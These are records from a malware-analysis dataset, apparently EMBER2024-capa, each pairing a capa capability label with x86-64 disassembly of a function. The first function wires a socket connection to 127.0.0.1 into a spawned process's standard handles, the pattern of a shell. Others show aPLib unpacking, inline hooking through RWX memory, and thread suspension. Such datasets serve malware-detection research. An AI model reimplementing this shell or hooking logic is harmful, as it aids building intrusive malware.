joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov eax, dword [0x1400032c0]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [0x1400032b0]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400032c4]
movaps xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x64], ax
call fcn.140001290
mov rcx, rax
lea rdx, [0x140003290]
call fcn.140001310
movups xmm0, xmmword [0x1400032b0]
mov qword [0x1400058b8], rax
lea rcx, [rsp + 0x50]
mov eax, dword [0x1400032c0]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400032c4]
mov word [rsp + 0x64], ax
movaps xmmword [rsp + 0x50], xmm0
call fcn.140001290
mov rcx, rax
lea rdx, [0x1400032d8]
call fcn.140001310
movups xmm0, xmmword [0x1400032b0]
mov qword [0x1400058a0], rax
lea rcx, [rsp + 0x50]
mov eax, dword [0x1400032c0]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400032c4]
mov word [rsp + 0x64], ax
movaps xmmword [rsp + 0x50], xmm0
call fcn.140001290
mov rcx, rax
lea rdx, [0x1400032a0]
call fcn.140001310
movups xmm0, xmmword [0x140003270]
mov qword [0x140005670], rax
lea rcx, [rsp + 0x50]
movzx eax, word [0x140003288]
movaps xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140003280]
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x68], ax
call fcn.140001390
mov rcx, rax
call fcn.140001410
mov ecx, 0x202
mov qword [0x140005898], rax
lea rdx, [0x140005690]
call qword [0x1400058b8]
mov rax, qword [0x1400058a0]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov ecx, ebx
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call rax
mov ecx, 0xd05
mov qword [0x140005828], rax
mov word [0x1400058a8], bx
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [0x1400058aa], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140005828]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x1400058a8]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x1400058ac], eax
mov qword [rsp + 0x20], rdi
call qword [0x140005670]
xorps xmm0, xmm0
movups xmmword [0x140005830], xmm0
movups xmmword [0x140005840], xmm0
movups xmmword [0x140005850], xmm0
movups xmmword [0x140005860], xmm0
mov rax, qword [0x140005828]
lea rcx, [rsp + 0x70]
movups xmmword [0x140005880], xmm0
mov dword [0x140005830], 0x68
movups xmmword [0x140005870], xmm0
mov dword [0x14000586c], 0x100
movups xmm0, xmmword [0x1400032e8]
mov qword [0x140005890], rax
mov qword [0x140005888], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [0x140005880], rax
call fcn.1400014b0
lea rcx, [rsp + 0x70]
call fcn.140001280
mov rdx, rax
xor r9d, r9d
lea rax, [0x140005678]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [0x140005830]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [0x140005898]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001db8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e04
xor al, al
add rsp, 0x28
ret

Function at 0x140e57058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140e571df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e57089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e5706f
add dl, dl
jne 0x140e57096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e570f6
xor eax, eax
add dl, dl
jne 0x140e570a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e571ad
add dl, dl
jne 0x140e570b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e570c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e570d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e570dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e570ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e5707e
mov eax, 1
add dl, dl
jne 0x140e57106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e57113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e570fb
sub eax, ebx
mov ebx, 1
jne 0x140e5714c
mov ecx, 1
add dl, dl
jne 0x140e5712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e5713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e57123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e57168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e57175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e5715d
cmp eax, 0x7d00
jae 0x140e5719b
cmp eax, 0x500
jb 0x140e57196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5707e
cmp eax, 0x7f
ja 0x140e5719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e5707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e571d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e5707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180002ad0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x180002b11
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x1800029e0]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180002b11
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x180003fe0
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
push r14
push r15
sub rsp, 0x98
mov rax, qword [0x180047040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rdi, rcx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
cmp rdi, 0x40000000
jbe 0x18000402f
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x180047c60]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x18000406d
cmp rsi, r14
jb 0x180004065
cmp rsi, r15
jae 0x180004065
cmp qword [rsi + 8], 0
jne 0x180004237
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180004050
mov qword [rsp + 0xc8], rbx
mov rbx, rdi
mov qword [rsp + 0xd0], rbp
mov qword [rsp + 0x90], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x180004102
nop dword [rax]
nop word [rax + rax]
mov ebp, dword [rsp + 0x78]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x1800040f9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800040f9
cmp dword [rsp + 0x40], 0x10000
je 0x18000417b
mov rbx, qword [rsp + 0x28]
cmp rbx, rbp
jb 0x1800040f9
sub rbx, rbp
cmp rbx, r14
jae 0x1800040c0
test rsi, rsi
jne 0x1800041e0
cmp rdi, r15
ja 0x18000421f
nop dword [rax + rax]
mov ebp, dword [rsp + 0x78]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x18000421f
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18000421f
cmp dword [rsp + 0x40], 0x10000
je 0x1800041b1
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x38]
add rdi, qword [rsp + 0x20]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180004132
jmp 0x18000421f
test rbx, rbx
je 0x1800040f9
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800041e0
cmp rbx, r14
jae 0x1800040a0
jmp 0x180004102
test rdi, rdi
je 0x18000421f
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800041e0
cmp rdi, r15
jbe 0x180004110
jmp 0x18000421f
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x1800041f0
mov rax, qword [0x180047c60]
mov qword [rsi], rax
mov qword [0x180047c60], rsi
mov r12, qword [rsp + 0x90]
mov rbp, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xc8]
mov rax, rsi
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1800376d0
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
ret
Function at 0x180004bd0
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x180047040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180004d1f
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x180004d16
mov esi, 1
mov qword [rsp + 0x68], rbx
cmp dword [rsp + 0x20], 0x10
jb 0x180004ccc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180004ccc
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180004ccc
mov rdx, qword [rdi]
test rdx, rdx
jne 0x180004c8d
mov rcx, qword [0x1800479c0]
mov r8d, 0x200
mov dword [rdi + 8], 0x80
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rdx, rax
test rax, rax
je 0x180004cf5
lea rbx, [rdi + 0xc]
jmp 0x180004cc1
mov eax, dword [rdi + 8]
lea rbx, [rdi + 0xc]
cmp dword [rbx], eax
jb 0x180004cc1
mov rcx, qword [0x1800479c0]
add eax, eax
mov r9d, eax
mov r8, rdx
shl r9, 2
xor edx, edx
mov dword [rdi + 8], eax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x180004cf5
mov qword [rdi], rax
mov ecx, dword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x180004c33
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x180004d11
mov r8, qword [rdi]
xor esi, esi
test r8, r8
je 0x180004d11
mov rcx, qword [0x1800479c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], rsi
mov rbx, qword [rsp + 0x68]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1800376d0
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x180004d40
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180047040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x180047c50]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180004db3
mov eax, 0xa
jmp 0x180004e46
test esi, esi
je 0x180004dd5
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180004df8
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180004df8
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180004df1
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180004df8
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, sil
shl sil, 2
add cl, cl
xor cl, byte [rbx + 0x20]
and cl, 2
xor cl, byte [rbx + 0x20]
xor sil, cl
and sil, 4
xor sil, cl
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800376d0
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180004e70
Capabilities:
Resume thread
Suspend thread

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
xor edi, edi
mov esi, ecx
mov ecx, dword [0x180047c5c]
mov ebx, edi
test ecx, ecx
je 0x180005023
mov rax, qword [0x180047c50]
add rax, 0x20
nop word [rax + rax]
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180004ec0
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180004ea0
mov eax, edi
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
cmp ebx, 0xffffffff
je 0x180005023
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rdi
call fcn.180004bd0
test eax, eax
jne 0x180004eee
mov eax, 9
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], r12
mov r12, qword [rsp + 0x20]
mov qword [rsp + 0x70], r13
mov r13d, dword [rsp + 0x2c]
test r12, r12
je 0x180004f73
test r13d, r13d
je 0x180004f73
mov qword [rsp + 0x38], r14
mov r14, r12
mov qword [rsp + 0x30], r15
mov r15d, r13d
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180004f5f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, edi
test esi, esi
mov edx, 0xffffffff
mov rcx, rbp
setne r8b
call fcn.180004a20
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r14, 4
sub r15, 1
jne 0x180004f21
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r8d, dword [0x180047c5c]
cmp ebx, r8d
jae 0x180004fb8
nop
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x180047c50]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x180004fb1
mov edx, esi
mov ecx, ebx
call fcn.180004d40
mov edi, eax
test eax, eax
jne 0x180004fb8
mov r8d, dword [0x180047c5c]
inc ebx
cmp ebx, r8d
jb 0x180004f80
test r12, r12
je 0x180005014
test r13d, r13d
je 0x180005002
mov rsi, r12
mov rbp, r13
nop dword [rax + rax]
mov r8d, dword [rsi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x180004ff8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 4
sub rbp, 1
jne 0x180004fd0
mov rcx, qword [0x1800479c0]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov r13, qword [rsp + 0x70]
mov eax, edi
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x180005660
Capabilities:
Resume thread
Suspend thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
xor r12d, r12d
mov r13d, edx
mov ebx, r12d
xor eax, eax
mov rdi, rcx
mov esi, 1
lock cmpxchg dword [0x1800479bc], esi
je 0x1800056b1
nop dword [rax]
cmp rbx, 0x20
jae 0x18000569a
xor ecx, ecx
jmp 0x18000569c
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x1800479bc], esi
jne 0x180005690
cmp qword [0x1800479c0], r12
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r15
je 0x180005820
test rdi, rdi
jne 0x1800056e1
mov ecx, r13d
call fcn.180004e70
mov esi, eax
jmp 0x180005825
mov ecx, dword [0x180047c5c]
mov ebx, r12d
test ecx, ecx
je 0x180005707
mov rdx, qword [0x180047c50]
mov rax, rdx
cmp rdi, qword [rax]
je 0x180005711
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1800056f8
mov esi, 4
jmp 0x180005825
cmp ebx, 0xffffffff
je 0x180005707
mov eax, ebx
imul rcx, rax, 0x38
movzx eax, byte [rcx + rdx + 0x20]
shr eax, 1
and eax, esi
cmp eax, r13d
je 0x180005816
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r12
call fcn.180004bd0
test eax, eax
jne 0x18000574e
lea esi, [rax + 9]
jmp 0x180005825
mov r15, qword [rsp + 0x20]
mov r14d, dword [rsp + 0x2c]
test r15, r15
je 0x1800057b2
test r14d, r14d
je 0x1800057b2
mov rdi, r15
mov ebp, r14d
nop dword [rax + rax]
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800057a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, 1
mov edx, ebx
mov rcx, rsi
call fcn.180004a20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub rbp, 1
jne 0x180005770
mov edx, r13d
mov ecx, ebx
call fcn.180004d40
mov esi, eax
test r15, r15
je 0x180005825
test r14d, r14d
je 0x180005802
mov rdi, r15
mov rbp, r14
nop
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x1800057f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub rbp, 1
jne 0x1800057d0
mov rcx, qword [0x1800479c0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180005825
neg r13d
sbb esi, esi
add esi, 6
jmp 0x180005825
mov esi, 2
xchg dword [0x1800479bc], r12d
mov r15, qword [rsp + 0x70]
mov eax, esi
mov r14, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x180007e90
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180007eed
lea rbx, [0x18003b180]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180007ed4
cmp r10, 2
jb 0x180007ed4
cmp byte [r9], r8b
jne 0x180007ed4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180007eb0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180007f2f
lea rbx, [0x18003b180]
cmp r8b, 0x23
jne 0x180007f13
cmp byte [r9], r8b
jne 0x180007f13
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180007f00
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180008030
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x18000804e
mov qword [r8], r14
lea rdx, [0x18003acb0]
call fcn.180007f40
mov rbx, rax
test rax, rax
jne 0x180008073
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x18000819d
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18000819d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18000819d
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18000819d
cmp rdi, 0xffffffffffffffff
je 0x18000819d
mov rcx, rdi
call fcn.18000b080
mov rbp, rax
test rax, rax
je 0x18000819d
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18000818a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x1800479d0]
test r8, r8
je 0x18000817f
movsx rdx, word [r8 + 0x60e0]
lea rcx, [r8 + 0x60e4]
mov r9d, dword [r8 + 0x3f58]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x180008174
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60e0], cx
movsx rax, cx
lea rcx, [r8 + 0x60e4]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x60dc]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800081a6
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x180008198
mov qword [rsi], rdi
mov rax, rbp
jmp 0x1800081a8
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000a9f0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x100]
lea r11, [0x18003b180]
mov rax, qword [rcx + 0x108]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x404c], ebx
jne 0x18000aa86
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.18001dac0
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x18000e200
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x18000e250
lea r11, [0x18003b180]
nop dword [rax]
cmp r9b, 0x23
jne 0x18000e233
cmp byte [r8], r9b
jne 0x18000e233
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18000e220
mov rcx, qword [0x1800479d0]
not eax
movsxd rdx, dword [rcx + 0x3fe0]
mov r9, qword [rcx + 0x3fe8]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x18000e2b1
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x18000e2a9
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x18000e2ac
mov rdx, r8
test rdx, rdx
jne 0x18000e280
cmp r9, r10
je 0x18000e2c0
cmp dword [r9], eax
jne 0x18000e2c0
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret